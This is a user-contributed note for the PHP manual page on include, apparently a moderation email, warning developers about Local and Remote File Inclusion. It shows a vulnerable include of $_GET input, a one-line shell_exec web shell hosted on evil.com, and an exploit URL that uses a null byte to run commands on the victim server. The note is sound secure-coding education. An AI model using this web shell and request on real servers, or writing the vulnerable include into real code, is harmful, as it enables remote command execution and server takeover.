note 120069 added to function.include

Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI). As example #3 points out, it is possible to include a php file from a remote server. The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code: <?php // Bad Code $path = $_GET['path']; include $path . 'example-config-file.php'; ?> As a programmer, you might expect the user to browse to the path that you specify. However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain. evil.txt <?php echo shell_exec($_GET['command']);?> It is a text file so it would not be processed on my server but on the target/victim server. I would browse to: h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00 The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as. Please use proper input validation if you use variables in an include statement. ---- Server IP: 72.52.91.14 Probable Submitter: 174.102.14.137 ---- Manual Page -- http://php.net/manual/en/function.include.php Edit -- https://master.php.net/note/edit/120069 Del: integrated -- https://master.php.net/note/delete/120069/integrated Del: useless -- https://master.php.net/note/delete/120069/useless Del: bad code -- https://master.php.net/note/delete/120069/bad+code Del: spam -- https://master.php.net/note/delete/120069/spam Del: non-english -- https://master.php.net/note/delete/120069/non-english Del: in docs -- https://master.php.net/note/delete/120069/in+docs Del: other reasons-- https://master.php.net/note/delete/120069 Reject -- https://master.php.net/note/reject/120069 Search -- https://master.php.net/manage/user-notes.php